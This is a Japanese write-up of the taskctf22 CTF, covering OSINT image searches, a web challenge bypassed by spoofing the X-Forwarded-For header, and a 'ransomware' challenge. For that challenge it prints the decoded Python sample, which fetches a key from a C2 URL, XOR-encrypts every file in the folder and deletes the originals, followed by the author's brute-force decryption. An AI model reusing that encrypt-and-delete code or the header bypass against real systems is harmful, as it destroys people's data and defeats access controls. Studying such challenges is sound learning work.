😸

taskctf22 writeup

2022/12/05に公開

はじめに


task4233さんのお誕生日CTFに参加しました
お誕生日おめでとうございます👏

osint


welcome

taskctf 2019 writeupで調べる

flag

taskctf{let's_enj0y!}

ramen

ctfのosint問題を初めて取り組んだので、とりあえずctf osintで調べた。

https://speakerdeck.com/meow_noisy/ctf-osintkategori-ru-men このスライドが良さそうだったので参考にした。

スライドで写真の分析に大事なこととして、画像EXIFや画像検索を丁寧に行うことが大事としていたので丁寧にした。(最初は目で分析をしようとしてた…)

Google Lensで検索すると、それっぽい店が出てくるので提出

flag

taskctf{蝋燭屋}

kofun

まず、さっきと同じようにGoogle Lensでkofun.jpegを検索する。それっぽい検索はヒットするが、なかなか正解しない。

問題をよく読むと、作者のSNSにもアップロードしたと書かれていたので、作者のtwitterのメディア欄を漁ると、同じ古墳の画像ともう一枚埴輪がいる画像を得られた。

もう一枚の方を画像検索すると、龍角寺古墳郡というのがヒットして、これがかなり一致してそうだった。

答えは漢字で提出せよと書かれていたので、龍角寺古墳群をWikipediaで調べて、名前があるもの(第◯号古墳でない)を全部提出するも、正解しない。

そのあと結構わからずに椅子を温めていたが、Google Mapで龍角寺古墳郡の周りを調べていると、上福田岩屋古墳というのがヒットし、これっぽかったので提出するとSuccess

flag

taskctf{上福田岩屋古墳}

web


robots

robots.txtを見ると、

User-Agent: * Disallow: /admin/flag

とあったので、http://34.82.208.2:31481/admin/flagを見ると、

401 Unauthorized
*** is not internal IP address :(

と出た。

is not internal IP addrssとあるので、問題サーバと同じサーバからアクセスしたことにすればいいのかなと思った。

こういう系はリクエストを書き換える系だなと思い、Burp Suiteでリクエストをインターセプトしてごにょごにょしようとしたが、何を書き換えればいいかわからなかった。

CTF終了後writeupを見ると、X-Forwarded-Forというヘッダーがあり、それを使うと解けるらしかった。

flag

taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}

反省としては、http通信の知識が浅く、ヘッダーを付け加えるという発想がなかった。ctf web headerとか調べると良いのかなと思った。

misc


ransomeware

まず./hbd.shを実行するとエラーが出た

hbd.shの中身を読むとbase64された文字列をデコードしてpythonで実行されていそうだったので、デコードしたところまで実行すると次のコードが現れた。

#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

このコードを読み解くと、taskctf_flag.txtというファイルがあり、そのファイルの中身を位置文字ずつkeyとxorを取ったものがtaskctf_flag.txt.encryptedぽそうだった。
得られたpythonのコードを次のように変える

def main():
    # encrypt all files
    file = "taskctf_flag.txt.encrypted"

    # key総当り
    alp = "abcdefghijklmnopqrstuvwxyz"
    for c in alp:
        data = None
        with open(file, 'r') as f:
            data = f.read()        

        key = ord(c) ^ ord(data[0])
        dec = ""
        for ch in data:
            dec += chr(ord(ch) ^ key)
        print(dec)
    

if __name__ == "__main__":
    main()

実行すると

atf~vasnm%gJ$fJp!flJ"%J$xeypxp{"h
bwe}ubpmn&dI'eIs"eoI!&I'{fzs{sx!k
cvd|tcqlo'eH&dHr#dnH 'H&zg{rzry j
dqc{sdvkh bO!cOu$ciO' O!}`|u}u~'m�
epbzrewji!cN bNt%bhN&!N |a}t|t&l
sayqftij"`M#aMw&akM%"M#b~ww|%o
gr`xpguhk#aL"`Lv'`jL$#L"~cv~v}$n
h}owhzgd,nC-oCy(oeC+,C-qlpyqyr+a
i|nv~i{fe-oB,nBx)ndB*-B,pmqxpxs*`
jmu}jxef.lA/mA{*mgA).A/snr{s{p)c
k~lt|kydg/m@.l@z+lf@(/@.roszrzq(b
lyks{l~c`(jG)kG},kaG/(G)uht}u}v/e
mxjrzmba)kF(jF|-j`F.)F(tiu|t|w.d
n{iqyn|ab*hE+iE.icE-*E+wjvwt-g
ozhpxo}`c+iD*hD~/hbD,+D*vkw~v~u,f
pewogpb|4v[5w[a0w}[34[5ithaiaj3y
qdvnfqc~}5wZ4vZ`1v|Z25Z4hui`h`k2x
rgumer`}~6tY7uYc2uY16Y7kvjckch1{

sftldsa|7uX6tXb3t~X07X6jwkbjbi0z
taskctf{x0r_1s_e4sy_70_1mplemen7}

u`rjbugzy1s^0r^d5rx^61^0lqmdldo6|

vcqiavdyz2p]3q]g6q{]52]3orngogl5
wbph`wex{3q\2p\f7pz\43\2nsofnfm4~	
xmgoxjwt<~S=Si8uS;<S=a|`iaib;q
yl~fnykvu=R<~Rh9~tR:=R<`}ah`hc:p
zo}emzhuv>|Q?}Qk:}wQ9>Q?c~bkck`9s

となり、21行目にflagが現れる

flag

taskctf{x0r_1s_e4sy_70_1mplemen7}

Discussion